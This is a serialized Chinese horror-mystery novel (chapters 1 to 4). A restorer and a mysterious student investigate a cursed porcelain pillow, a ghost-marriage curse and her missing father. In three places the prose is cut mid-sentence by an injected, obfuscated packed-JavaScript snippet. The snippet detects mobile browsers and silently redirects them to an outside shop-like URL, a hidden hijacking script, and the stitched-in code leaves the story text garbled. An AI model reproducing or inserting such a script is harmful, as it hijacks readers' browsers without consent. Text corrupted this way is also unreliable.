《锈月牵丝戏》 1. 锈枕夜啼 暴雨砸在栖梧阁的青瓦上,如同千万只鬼手在同时叩门。 檀九重握着朱砂笔的手悬在半空,笔尖一滴暗红悬而未落。她面前那尊唐代镇墓兽的左眼处有道裂纹,在灯光下泛着诡异的青光。窗外闪电划过,刹那间照亮了工作室里陈列的各类古物——北魏的陶俑、宋代的铜镜、明代的漆盒,全都在这白光中投下摇曳的影子。 “叮——” 红外线警报突然响起,檀九重皱眉看向监控屏幕。雨幕中,一个撑着黑伞的人影正站在栖梧阁的大门前。那人似乎察觉到摄像头的转动,突然抬头,露出一张过分年轻的脸。 “这个点?”檀九重瞥了眼墙上的老式挂钟,时针堪堪指向十一点。她放下朱砂笔,顺手抄起工作台下的桃木短剑别在后腰,这才按下通话键:“栖梧阁今日闭馆。” 监控画面里,年轻人突然笑了。他举起左手,腕间三枚锈迹斑斑的古钱在雨中发出沉闷的碰撞声。更诡异的是,他脖颈处露出一截红线,线上缠着一枚泛着青光的铜钱,正随着他的动作轻轻晃动。 “学姐,”他的声音透过雨声传来,带着不合时宜的轻快,“老周让我送个东西,说是您上个月订的鎏金婴戏纹瓷枕。” 檀九重瞳孔微缩。她确实委托过古董商周德全寻找那件传说中的宋代瓷枕,但约定的交货日期是下周三。 红外警报再次响起,这次触发的是后院的传感器。檀九重迅速切换监控画面,只见一个佝偻身影正拖着一个木箱从后门方向走来——正是周德全。奇怪的是,老周明明就在后院,前门这个自称送货的年轻人又是谁? ”站着别动。”檀九重对着前门的年轻人冷声道,同时拿起另一部对讲机:“老周?你怎么现在过来?” 对讲机里传来沙沙的电流声,过了好几秒才响起周德全气喘吁吁的回答:“檀、檀小姐,那瓷枕...不对劲。我不得不提前送来,它、它...” 话未说完,对讲机里突然传来一声尖锐的金属刮擦声,像是有什么东西在抓挠麦克风。檀九重后背一凉,多年的职业直觉让她立刻按下大门解锁键:“都进来,立刻。” 前门的年轻人似乎早有预料,几乎是门锁弹开的瞬间就闪身而入。檀九重这才注意到他穿着一件湿透的黑色卫衣,兜帽松松地搭在头上,看起来像个普通大学生。但当他走近时,一股若有若无的异香钻入鼻腔——那是混合了檀香、草药和某种腐败气息的味道,她只在父亲那些关于湘西赶尸的笔记中见过记载。 “殡葬学专业,裴子晏。”年轻人自来熟地伸出手,腕间的厌胜钱叮当作响,“久仰檀学姐大名。” 檀九重没接他的手,目光落在他脖颈处的铜钱上:“五帝钱?不对,这是...” “锁魂钱。”裴子晏收回手,笑容不减,“学姐果然识货。” 后门传来沉重的拖拽声,周德全终于拖着木箱进了工作室。老人浑身湿透,左手缺了三根手指的伤疤在灯光下格外刺眼——那是三年前一次‘收阴货’时留下的,檀九重至今记得他当时说的话:“那尊唐三彩马不肯跟我走,只好留下点东西作押。” “老周,怎么回事?”檀九重上前帮忙,手指刚碰到木箱就猛地缩回——箱体冰凉刺骨,根本不是雨天应有的温度。 周德全脸色惨白,缺指的左手指着木箱:“从‘她’手里收来的...穿着戏服,在唱《牡丹亭》。瓷枕就在戏台中央,周围坐着...坐着...”老人突然剧烈咳嗽起来,嘴角渗出一丝血迹,“我不得已才接的,檀小姐,它盯上您了。” 裴子晏不知何时凑了过来,潮湿的卫衣几乎贴到檀九重背上。他弯腰观察木箱,兜帽里突然滚出三枚生锈的厌胜钱,正落在箱锁处。 “学姐,”他声音突然压低,带着几分戏谑,“这枕头...会唱歌呢。” 檀九重正要发作,工作室的灯光突然闪烁起来。一阵若有若无的婴啼从木箱中传出,起初细如蚊蚋,转眼就变成了撕心裂肺的哭嚎。最诡异的是,这哭声竟隐约带着某种戏曲的腔调,像是婴儿在模仿旦角的唱腔。 “子时了。”裴子晏抬头看向挂钟,脸上笑意全无,“学姐,开箱前要不要先画个避煞符?” 檀九重已经抽出了桃木短剑,剑尖沾了朱砂,在箱体四周迅速画了个镇邪圈。就在最后一笔完成的瞬间,木箱的锁扣“咔嗒”一声自动弹开。 箱内铺着暗红色的绸缎,一尊鎏金婴戏纹瓷枕静静躺在中央。枕面描绘着九个孩童在花园嬉戏的场景,但仔细看去,每个孩子的眼睛都被涂成了诡异的红色。更令人不适的是,那些孩童的表情根本不是玩耍的欢愉,而是一种扭曲的惊恐,仿佛正在逃离什么看不见的恐怖。 “这不是宋代的。”檀九重戴上手套小心触碰瓷枕表面,“釉色做旧了,实际年代不超过三十年。但...” “但婴戏纹的笔法确实是宋代的。”裴子晏接话,不知何时已经凑到她肩侧,“学姐你看,这个翻花绳的孩子手腕上的红绳——是锁魂结,民国以后就没人会这么画了。” 檀九重暗自惊讶于他的眼力,但更令她不安的是瓷枕散发的气息——那是一种混合了血腥味和脂粉香的诡异味道,与她父亲失踪前研究的‘阴婚案’证物如出一辙。 周德全突然跪倒在地,对着瓷枕连连磕头:“姑奶奶饶命!我只是个送货的,冤有头债有主...”话未说完,老人突然僵住,缺指的左手猛地指向檀九重身后:“镜、镜子!” 檀九重倏然回头。工作室角落的明代铜镜中,清晰地映出她和裴子晏的身影。但诡异的是,镜中的裴子晏比她身侧真人慢了半拍——当现实中的裴子晏抬手去摸脖颈铜钱时,镜中的他还在低头看瓷枕。 更恐怖的是,镜中他们两人之间,隐约还有第三个人的轮廓——一个穿着戏服、水袖遮面的女子。 “别看。”裴子晏突然按住她的手腕,力道大得惊人,“学姐别动...你背后镜子里有东西在看你。” 檀九重感到一股寒气顺着脊椎窜上来。她没回头,而是借着铜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449282|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜的反射观察身后——镜中那个戏服女子的水袖正在缓缓下垂,露出下面根本不是人脸,而是一张画着婴戏纹的瓷面! “砰!” 瓷枕突然从箱中弹起半尺高,又重重落下。枕面上九个孩童的眼睛开始渗出暗红色的液体,顷刻间就染红了整块绸缎。檀九重反应极快,桃木剑挑起一道黄符拍在瓷枕上,同时口中快速念诵镇邪咒。 裴子晏却做了个出人意料的动作——他一把扯下脖颈上的锁魂钱,直接按在了瓷枕正中央。铜钱接触瓷面的瞬间,整个工作室的灯光全部熄灭,只有铜钱泛着诡异的青光。 黑暗中,婴啼变成了凄厉的惨叫。檀九重趁机咬破指尖,将血珠弹向铜镜方向。借着那一闪而逝的血光,她清楚地看到镜中的戏服女子正伸手抓向裴子晏的后心! “低头!” 裴子晏应声俯身,檀九重的桃木剑擦着他发梢刺向虚空。剑尖传来实质般的阻力,紧接着是一声非人的尖啸。灯光重新亮起时,瓷枕已经裂成两半,露出里面缠绕着黑色长发的一截人骨。 周德全昏死在墙角,而裴子晏的锁魂钱正嵌在头骨眉心处,铜钱上的‘通灵’二字已被染成暗红。 “三十年以上的人骨。”檀九重小心检查头骨,“女性,死前受过剧烈痛苦,牙齿有...”她突然顿住,从头骨下颌处取出一片泛黄的纸屑,上面隐约可见‘婚书’二字。 裴子晏凑过来看,潮湿的卫衣擦过她手臂:“阴婚契约?学姐,我们好像撞破人家的好事了。” 檀九重正要反驳,突然注意到瓷枕裂口处的釉下藏着一行小字——‘癸酉年七月初七,杜丽娘于此枕长眠’。她浑身一颤,这正是父亲失踪前最后调查的案子日期! “你到底是谁?”檀九重猛地转向裴子晏,桃木剑直指他咽喉,“普通大学生不可能有锁魂钱,更不会认识锁魂结!” 裴子晏不躲不闪,任由剑尖抵住喉结。他缓缓抬手,从兜里摸出一张泛黄的照片:“檀教授当年给孤儿院拍的合照...学姐不认得我了?” 照片上,年轻的檀教授站在一群孩子中间,最前排有个笑得灿烂的男孩,半边脸却被撕掉了。檀九重如遭雷击——父亲失踪后,她在整理资料时见过这张照片的完整版,被撕掉的部分正是父亲的手! “你...你是那个...” “嘘——”裴子晏突然捂住她的嘴,酒窝在苍白的脸上显得格外诡异,“学姐听,瓷枕又在唱歌了。” 果然,已经裂开的瓷枕内传来幽幽的戏腔:“则为你如花美眷,似水流年...”正是《牡丹亭》的唱词。而更令人毛骨悚然的是,周德全不知何时已经坐了起来,缺指的手正跟着唱腔打拍子,嘴里发出的却是年轻女子的声音。 裴子晏贴着檀九重的耳朵轻声道:“学姐,现在信我了吧?这出‘阴婚索命’的戏,三十年前就该唱完了。” 工作室的铜镜突然爆裂,无数碎片映出同一幅画面——一个穿着嫁衣的骷髅正从瓷枕中缓缓爬出... 2. 骨鸣镜影 檀九重将热蜡枪的电源插好,枪口对准工作台上裂开的瓷枕。凌晨三点的工作室里,只有仪器运转的嗡嗡声与她作伴。窗外雨势已弱,但偶尔炸响的闷雷仍会让灯光忽明忽暗。 “学姐这么晚还工作?” 裴子晏的声音突然从背后响起,檀九重手腕一抖,热蜡差点滴在瓷枕的婴戏纹上。她头也不回,左手已经摸到了工作台下的桃木钉。 “出去。”她声音冷得像冰,“没人允许你进我的工作室。” 裴子晏举着两杯冒着热气的液体走近,潮湿的卫衣已经换成了栖梧阁提供的备用衬衫,过大的领口露出锁骨处一道奇怪的疤痕——像是被什么动物撕咬过的痕迹。他脖颈上的锁魂钱依旧挂在红线上,在灯光下泛着诡异的青光。 “老周醒了,在客房休息。”他将其中一杯放在檀九重手边,“他说瓷枕是从一个废弃戏台找到的,当时枕边还放着这个。” 一枚褪色的铜质徽章被推到檀九重面前,上面刻着‘玉成班’三个小字,边缘处有暗红色的污渍。 檀九重终于抬头,目光在裴子晏脸上停留了几秒。这个自称殡葬专业大学生的年轻人眼下有淡淡的青黑,但眼神异常清醒,完全不像半夜被灵异事件惊醒的模样。 “民国时期的戏班徽章。”她用镊子夹起徽章对着灯光观察,“这种包浆程度...至少被埋藏了三十年。” “正好和瓷枕里的婚书碎片时间吻合。”裴子晏自然地接话,仿佛没注意到檀九重审视的目光,“癸酉年就是1993年,学姐父亲失踪前调查的案子。” 檀九重瞳孔微缩。她从未对外公开过父亲失踪的具体时间。 “你究竟——” “茶要凉了。”裴子晏打断她,将杯子又推近了些,“杭白菊加朱砂粉,安神定魄。学姐眼下都青了。” 檀九重没碰那杯茶,而是打开了矿物检测仪。当激光束打在瓷枕断面时,显示屏上跳出的数据让她呼吸一滞——釉料中含有大量的磷酸钙成分,比例与人类骨灰完全吻合。 “唐代秘方‘骨瓷’...”她喃喃自语,“用夭折儿童的骨灰入釉,据说能镇住冤魂。” 裴子晏突然伸手按住瓷枕一端:“学姐听。” 起初檀九重什么都没听到,但很快,一阵极其细微的“咯咯”声从瓷枕内部传来,像是有什么东西在轻轻敲打骨壁。这声音带着某种诡异的节奏,仔细分辨,竟是《牡丹亭》里‘游园惊梦’的板眼。 “骨鸣。”裴子晏的声音突然变得异常严肃,“怨气太重的尸骨会记住死前最后听到的声音。” 檀九重正要回应,检测仪突然发出刺耳的警报声。她低头看去,只见瓷枕底部釉下显现出一行先前被忽略的小字——‘玉成班道具,民国二十二年制’。 “民国...”她猛地抬头,正好撞上裴子晏来不及收敛的笑意,“你早就知道?” 裴子晏眨了眨眼,一脸无辜:“我怎么会知道呢?只是刚才帮学姐整理工具时,不小心碰倒了紫外线灯,正好照到枕底...” 檀九重一把抓起紫外线灯对准瓷枕底部。在紫光照射下,不仅那行小字清晰可见,还显现出半个暗红色的手印——五指纤细,明显是女子的手,但小指处不自然地弯曲着,像是被人生生折断后又接歪了。 “学姐你看,”裴子晏突然凑近,温热的呼吸拂过她耳畔,“这手印的中指比食指长一截,相书上说这种人是...” “阴气重,易招邪。”檀九重接过话,不动声色地拉开距离,“你懂得倒不少。” 裴子晏笑而不答,脖颈间的锁魂钱却突然轻轻震动起来。几乎同时,工作室的窗户传来“咔哒”一声轻响,像是有人用指甲在玻璃上刮了一下。 檀九重反应极快,抄起热蜡枪就朝声源处射出一道滚烫的红蜡。蜡液在空中划出一道弧线,却在即将触及窗户时诡异地悬停了一秒,然后“啪”地落在地上,凝固成一个扭曲的人形。 “纸人。”裴子晏不知何时已经挡在檀九重身前,锁魂钱上的青光变得刺目,“学姐退后,它身上有血咒。” 话音刚落,窗户轰然碎裂。一个等人高的纸人飘了进来,惨白的脸上用朱砂画着夸张的五官,胸口处贴着一张泛黄的符纸,上面用血写着‘檀’字。纸人的右手小指不自然地弯曲着,与瓷枕底部的血手印如出一辙。 檀九重冷笑一声,调高热蜡枪的温度,对准纸人胸口就是一枪。滚烫的蜡液穿透符纸,纸人发出非人的尖啸,在空中疯狂扭动。她趁机从工作台下抽出一卷墨斗线,迅速在地上布下九宫格。 “裴子晏,站坎位!” 出乎意料的是,裴子晏不仅立刻会意,还从口袋里摸出三枚厌胜钱精准地抛向纸人。铜钱在空中排成三才阵,将纸人暂时困住。檀九重趁机咬破指尖,在热蜡枪上画了道血符,然后对着纸人头部又是一枪。 这次蜡液直接烧穿了纸人的额头,一张小小的照片从破洞中飘出。檀九重眼疾手快用镊子夹住,只瞥了一眼就浑身冰凉——照片上是她父亲站在孤儿院门口的背影,日期显示正是失踪前一天。 纸人突然停止挣扎,用歪曲的小指指向裴子晏,然后轰然燃烧起来。火焰是诡异的青绿色,转眼就将纸人烧成灰烬,连地上的蜡痕都没留下。 “它想说什么...”檀九重盯着裴子晏,“为什么指着你?” 裴子晏一脸无辜地摊手:“可能因为我长得帅?” 檀九重懒得理他,转身去检查窗户。碎玻璃上残留着几缕纤维,摸上去冰凉滑腻,像是浸泡过尸液的丝绸。她小心地将样本放入证物袋,突然听到裴子晏在身后倒吸一口冷气。 “学姐!你手臂...” 檀九重这才注意到自己右臂被碎玻璃划开一道口子,鲜血已经染红了袖口。奇怪的是她竟毫无知觉,伤口周围的皮肤呈现出不正常的青灰色。 “玻璃上有尸毒。”裴子晏不由分说拉过她的手臂,从衬衫下摆撕下一条干净布料,“得先放毒血。” 他动作快得惊人,等檀九重反应过来时,裴子晏已经用那枚锁魂钱的边缘划开了伤口上方的皮肤。黑血涌出的瞬间,工作室里突然弥漫开一股浓郁的腐臭味,像是打开了什么陈年的棺木。 更诡异的是,裴子晏用来包扎的‘布条’在灯光下泛着诡异的红光——那根本不是普通布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449283|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料,而是一段浸过朱砂的红线! “你——”檀九重刚要抽手,裴子晏却已经熟练地打了个结,红线末端不知何时缠住了她的小指,另一头则连在裴子晏自己的小指上。 “学姐别动,”他笑得人畜无害,“这是‘同命结’,能分担尸毒...哎哟!” 檀九重用镊子精准地挑断了红线,冷着脸给自己注射了一支抗毒血清:“再有下次,断的就不只是线了。” 裴子晏委屈巴巴地揉着手腕,却在她转身时迅速收起表情,眼神复杂地看了眼断掉的红线。那截红线落地的瞬间竟自动燃烧起来,火焰中隐约浮现出一个穿戏服的女子身影,转瞬即逝。 天亮时分,老周终于醒了。檀九重端着药碗走进客房,发现老人正对着窗户发呆,缺指的左手不停颤抖。 “老周,瓷枕到底从哪来的?”她单刀直入,“别再说戏台的鬼话,我要真相。” 老周浑浊的眼中闪过一丝恐惧:“檀小姐...我女儿小荷住院了,白血病。医生说...说最多三个月。”老人突然抓住她的手,“三天前,医院来了个穿戏服的女人,说只要我找到‘那个瓷枕’交给您,就能救我女儿...” 檀九重心头一震:“戏服女人?什么样子?” “看不清脸...”老周颤抖着从怀里掏出一张照片,“但她留下了这个。” 照片上是老周女儿的病床,床头的监护仪显示时间是凌晨三点十七分——正是纸人袭击工作室的时刻。而病床旁的镜子里,清晰地映出一个穿戏服的身影,水袖垂落,露出歪曲的小指。 檀九重立刻拨通了医院的电话。护士告诉她,周小荷昨晚确实有异常,监控显示她半夜突然坐起来唱了一段《牡丹亭》,然后又昏睡过去,现在还在昏迷中。 “阴婚索命的诅咒开始扩散了...”檀九重喃喃自语,突然想起什么,快步走向父亲的书房。 檀教授留下的笔记被锁在一个樟木箱里。檀九重输入自己的生日,箱锁却纹丝不动。她试了父亲失踪的日期、母亲的忌日,全都无效。 “试试1993年7月初7。”裴子晏的声音突然在身后响起。 檀九重猛地转身:“你怎么——” “猜的。”裴子晏指了指箱锁上的铜锈,“癸酉年七月初七,瓷枕上的日期。” 令人毛骨悚然的是,这个日期竟然真的打开了箱子。檀九重顾不上质问裴子晏,迅速翻找关于‘玉成班’的记录。在笔记第36页与38页之间,明显有一页被撕掉了,只残留少许纸边,上面用父亲特有的暗语写着:“阴婚索命,需童子骨为引,七日后...” “第七天会发生什么?”檀九重不自觉地问出声。 裴子晏站在阴影处,锁魂钱在晨光中泛着冷光:“学姐,今天已经是瓷枕到栖梧阁的第三天了。” 窗外突然传来乌鸦的叫声。檀九重抬头望去,只见七只乌鸦整齐地落在院墙上,每只的脚上都系着一小段红绳。而在她看不见的角度,裴子晏悄悄将一张照片塞回口袋——照片上,年轻的檀教授站在孤儿院门口,怀里抱着一个昏迷的男孩,男孩手腕上系着的正是同样的红绳... 3. 厌胜局 檀九重将热蜡枪的电源拔掉,工作室终于陷入一片寂静。墙上的老式挂钟指向凌晨两点,窗外的雨已经停了,只剩下檐角偶尔滴落的水声。她揉了揉太阳穴,三天来第一次感到疲惫如潮水般涌来。 瓷枕被锁在特制的玻璃柜中,周围撒了一圈混合了朱砂的粗盐。檀九重又检查了一遍门窗,确认每扇窗棂上都贴了镇宅符,这才在工作室角落的窄床上躺下。 她本不该在这里过夜,但老周女儿病房里出现的戏服女人影像让她不敢掉以轻心——如果阴婚诅咒真的能通过血缘传播,那么作为瓷枕的经手人,老周一家已经处于危险中。 “再撑两天...”她对自己说,手指无意识地摩挲着父亲笔记上被撕去的那页边缘。等天亮就去医院看周小荷,也许能从她口中问出更多关于戏服女人的信息。 床头柜上的罗盘突然发出轻微的“咔哒”声。檀九重瞬间清醒,手已经摸到了枕头下的桃木钉。罗盘是父亲留下的老物件,指针由雷击木制成,对阴气异常敏感。此刻指针正微微颤动,指向——瓷枕的方向。 檀九重屏住呼吸,慢慢转头看向玻璃柜。月光透过窗户,在瓷枕上投下斑驳的影子。那些婴戏纹在明暗交错中仿佛活了过来,九个孩童的红色眼珠在黑暗中泛着微光。最诡异的是,明明没有风,孩童们手中牵着的红绳却在轻轻摆动,如同被无形的手指拨弄。 “幻觉...”她低声告诫自己,却感到一股寒意从脚底窜上脊背。这不是恐惧,而是实实在在的冰冷——室温正在急剧下降,她呼出的白气在月光下清晰可见。 罗盘指针开始疯狂旋转。 檀九重猛地坐起,却发现自己的身体动弹不得。鬼压床——这个念头刚闪过,她就看到玻璃柜中的瓷枕缓缓裂开,不是沿着原先的裂纹,而是像一朵邪恶的花般从中心绽放。裂缝中渗出暗红色的液体,很快就在柜底积成一滩。更恐怖的是,一只苍白的小手正从裂缝中伸出,手指细得不像人类,指甲却是诡异的黑色。 “湘西缩骨术...”檀九重大脑飞速运转,想起父亲笔记中记载的邪术——将活人骨骼强行缩至孩童大小,用于某些阴毒仪式。她想喊,喉咙却像被无形的手扼住;想动,四肢却如同灌了铅。 那只小手已经摸到了玻璃柜的门锁,指甲在金属上刮擦出令人牙酸的声音。柜门缓缓打开,瓷枕完全裂成两半,一个穿着红肚兜的‘孩童’正从里面爬出。它有着不成比例的大脑袋,脸上没有五官,只有用朱砂画出的简单线条,脖颈处缠绕着密密麻麻的红线,线上串着七枚铜钱——正是厌胜钱。 檀九重感到那东西‘看’向了自己。虽然没有眼睛,但一股实质般的恶意如潮水般涌来,压得她胸腔生疼。更可怕的是,她发现自己竟能听懂那东西发出的声音——不是通过耳朵,而是直接在大脑中响起的絮语: “找到...童子骨...完成仪式...” 孩童般的身影飘离瓷枕,向床铺靠近。檀九重拼命挣扎,却连一根手指都动不了。那东西已经来到床边,细长的手指抚上她的脸颊,触感湿冷如死鱼。它歪着头,似乎在欣赏她的恐惧,然后缓缓举起手,指尖对准了她的眼睛—— “砰!” 窗户突然爆裂,一道黑影矫健地翻入。裴子晏浑身湿透,像是刚从雨中跑来,脖颈上的锁魂钱泛着刺目的青光。他二话不说冲上前,三枚厌胜钱呈品字形射向那诡异孩童,同时一把扯下自己的锁魂钱,直接按在檀九重眉心。 “学姐,呼吸!” 铜钱接触皮肤的瞬间,檀九重感到一股刺骨寒意从天灵盖直贯脚底,冻得她几乎心脏停跳。但与此同时,身体的桎梏也被打破了。她猛地吸进一口气,抄起桃木钉就朝那孩童刺去。 桃木钉穿过孩童虚影,钉在了床板上。那东西发出刺耳的尖啸,身形扭曲着退向瓷枕。裴子晏趁机咬破手指,在檀九重额头画了道血符,然后拽着她退到墙边。 “别看镜子!”他急促地警告,却已经晚了。 檀九重瞥见了墙角的落地镜——镜中,裴子晏背后站着一个浑身惨白的无面童尸,正用细长的手指缠绕着他的头发。而更令她毛骨悚然的是,镜中的自己额头上根本没有血符,而是贴着一张泛黄的符纸,上面写着生辰八字——那是她的出生日期,却被人用朱砂改过,年份往前推了整整六十年。 “别看!”裴子晏一把捂住她的眼睛,声音里带着前所未有的慌乱,“那是厌胜术的倒影,不是真的...” 檀九重扳开他的手,却发现镜中的异象已经消失,只剩下他们两人狼狈的倒影。工作室里一片狼藉,瓷枕静静地躺在打开的玻璃柜中,仿佛从未动过。但床单上残留的黑色指印和空气中挥之不去的腐臭味证明,那绝非幻觉。 “你怎么在这里?”她质问裴子晏,声音因缺氧而嘶哑。 裴子晏收回锁魂钱,红线在他脖颈上留下一道新鲜的血痕。他眨眨眼,又恢复了那种玩世不恭的表情:“我梦见学姐有危险,就赶紧跑来了。你看,这就是心有灵——” “说实话。”檀九重打断他,指向窗户,“栖梧阁的安防系统连只猫进来都会报警,你是怎么无声无息破窗而入的?” 裴子晏笑容不变,却不着痕迹地退后了半步:“学姐先告诉我,为什么你镜中的倒影会穿着民国时期的嫁衣?” 两人僵持间,罗盘突然从床头柜上跌落,指针“啪”地摔断在地。檀九重弯腰去捡,却发现断裂的指针诡异地指向了裴子晏的脚踝。 “你脚上有什么?”她敏锐地问。 裴子晏下意识拉了拉裤脚,却还是露出了一截红绳——上面串着七枚铜钱,与那诡异孩童脖颈上的一模一样。 “厌胜钱...”檀九重倒吸一口冷气,“你是局中人?” 裴子晏的表情第一次彻底冷了下来。他蹲下身,慢慢卷起裤管,露出脚踝上深深的勒痕,像是被这串铜钱束缚了很多年。 “不是局中人,学姐。”他轻声说,“我是局。” 天亮后,两人来到城西的旧货市场。老周曾提过,他最初是从这里一个叫‘秦三爷’的摊主口中听说瓷枕下落的。 “所以那串厌胜钱,”檀九重一边走一边问,“是有人给你戴上的?” 裴子晏今天穿了件高领毛衣,遮住了锁魂钱,却遮不住眼下疲惫的青黑。他漫不经心地翻看着路边摊上的旧书:“学姐确定要现在谈这个?” 檀九重刚要追问,突然被一家摊位上的照片吸引。那是一组泛黄的民国老照片,其中一张赫然是‘玉成班’的全体合影。照片中十几个戏班成员整齐排列,最前排中央坐着个穿马褂的中年男子,膝上抱着个穿红肚兜的孩童——正是昨晚出现在工作室的那种无面孩童! “多少钱?”她指着照片问摊主。 摊主是个缺了只耳朵的老头,浑浊的眼珠转了转:“姑娘好眼力,这可是民国二十二年的老照片,至少...” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449284|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五百。”裴子晏突然插话,手指似不经意地划过照片边缘,“再多就不值了,毕竟做旧工艺有瑕疵。” 老头脸色一变,仔细打量裴子晏:“小哥懂行?” “略懂。”裴子晏笑吟吟地掏出一枚铜钱放在摊位上,“再加这个,换照片和实话。” 老头看到铜钱,独耳竟然抽动了两下。他迅速收起铜钱,压低声音道:“秦三爷前天就失踪了,临走前给了我这批货,说要是有人问起玉成班,就指路给老戏台。” “哪个老戏台?”檀九重追问。 “还能哪个?”老头咧嘴一笑,露出参差不齐的黄牙,“三十年前烧死半个戏班的那个呗。” 离开摊位后,檀九重仔细检查照片,果然在背面发现一行褪色的小字:‘癸酉年七月初七摄于庆云戏台’。而照片本身虽然做旧得很逼真,但在紫外线灯下还是能看到几处现代化学试剂的痕迹。 “有人故意引我们去老戏台。”她皱眉道。 裴子晏却盯着照片一角:“学姐看这个。” 他指的是照片边缘一个模糊的身影——穿着西装站在戏班众人之外,只拍到小半个侧脸,但那轮廓与气质,竟与檀九重父亲有七分相似。 “不可能...”檀九重声音发紧,“这张照片拍摄于民国二十二年,我父亲那时候还没出生。” 裴子晏若有所思:“除非照片上的人不是你父亲,而是...” “檀家祖上有人和戏班有联系。”檀九重接上他的话,突然想起什么,从包里取出父亲笔记的残页,“阴婚索命,需童子骨为引...这童子骨,会不会就是照片里那个无面孩童?” 裴子晏突然剧烈咳嗽起来,咳得弯下腰去。檀九重下意识扶住他,却摸到他后背一片湿热——掀开毛衣一看,三道新鲜的抓痕横贯整个背部,伤口泛着不正常的青黑色,与那晚她中的尸毒一模一样。 “什么时候的伤?”她厉声问。 裴子晏勉强直起身,额头上全是冷汗:“不重要...学姐,我们得先去趟医院。” “什么?” “老周的女儿,”裴子晏摸出手机,屏幕上是一条刚收到的短信,“今早突然醒了,说有话要告诉你。” 檀九重掏出罗盘想测方位,指针却在她手中疯狂旋转起来。她试着将罗盘靠近裴子晏,指针立刻像被磁铁吸引般死死指向他,甚至在她移动时也跟着偏转,仿佛裴子晏本身就是个巨大的磁场。 “学姐别费心了。”裴子晏苦笑着拉下毛衣领口,露出锁魂钱——铜钱表面不知何时出现了细密的裂纹,正渗出暗红色的液体,“童子骨已经醒了,它在找‘另一半’...而我的时间不多了。” 医院走廊的灯光忽明忽暗,消毒水味掩盖不住若有若无的腐臭。当檀九重推开周小荷的病房门时,女孩正背对门口坐在床上,长发垂落,手里似乎摆弄着什么。听到门响,她缓缓转头,露出一个诡异的微笑——嘴角几乎咧到耳根,眼睛里没有瞳仁,只有一片浑浊的白色。 “檀小姐来啦。”女孩用不属于自己的沙哑声音说,举起手中的东西——那是一个穿着红嫁衣的纸人,脸上用血画着五官,赫然是檀九重的模样,“新娘子准备好啦,七月初七,拜堂成亲...” 病床旁的监护仪突然爆出一阵刺耳的警报,心电图变成了一条直线。而在檀九重看不见的角度,裴子晏脖颈上的锁魂钱“咔”地裂开一道缝隙,里面隐约露出半截发黄的骨头... 4. 戏衣血 天林劝业场西侧的老戏台已经废弃了三十余年。檀九重推开锈蚀的铁门时,门轴发出令人牙酸的呻吟,像是某种垂死生物的哀鸣。五月的阳光本该温暖,但照进戏院后却变得冰冷稀薄,仿佛被什么无形的东西过滤掉了温度。 “1932年建的,当时叫‘庆云戏台’。”裴子晏跟在她身后,脖颈上的锁魂钱不知何时变成了暗红色,“民国二十五年,玉成班在这里连演了七天《牡丹亭》,最后一场演到‘离魂’一折时,后台突然起火...” 檀九重回头看他:“你怎么知道得这么清楚?” 裴子晏眨了眨眼:“来之前查了资料啊。”他指向戏台侧面的老报纸展示栏,玻璃早已破碎,里面的报纸泛黄蜷曲,但依稀可见‘玉成班’‘火灾’等字样。 檀九重不置可否,从包里取出紫外线灯和录音笔。戏院内灰尘厚积,每走一步都会扬起细小的颗粒,在光束中如同游动的微生物。奇怪的是,地面上有几串新鲜的脚印,一直延伸到舞台后方。 “有人比我们先到。”她蹲下检查脚印,突然皱眉——其中一串脚印异常小巧,像是孩童的赤足,但脚趾位置却有五道尖锐的拖痕,仿佛行走者长着利爪。 裴子晏突然按住她的肩膀:“学姐别动。” 他指向舞台上方残破的幕布。在紫外线照射下,布面上浮现出无数细小的手印,大小不一,但全都缺少小指。最诡异的是,这些手印正在缓慢移动,如同有看不见的孩子在布幔后爬行。 “厌胜术的‘百子帐’。”裴子晏声音发紧,“用夭折孩童的手印浸染幕布,能困住亡魂...学姐,这地方不对劲,我们得——” “来都来了。”檀九重打断他,径直走向后台。她表面镇定,后背却已经渗出冷汗。父亲笔记中确实提到过‘百子帐’,但那应该早已失传才对。 后台比想象中保存得完好。斑驳的化妆镜前还摆着发霉的油彩,一把断了弦的月琴斜靠在墙角,琴身上刻着‘沈胭脂’三个小字。最引人注目的是墙上挂着的几套戏服,虽然积满灰尘,但金线刺绣依然能在光线下闪烁微光。 “《牡丹亭》的行头。”裴子晏轻声道,手指虚抚过一件大红戏服,“杜丽娘的嫁衣...” 檀九重戴上手套检查戏服。当她翻动那件红嫁衣时,内衬突然掉出一块发黄的绸缎,上面密密麻麻写满了暗红色的字迹。紫外线灯一照,那些字立刻泛出诡异的荧光——是血书。 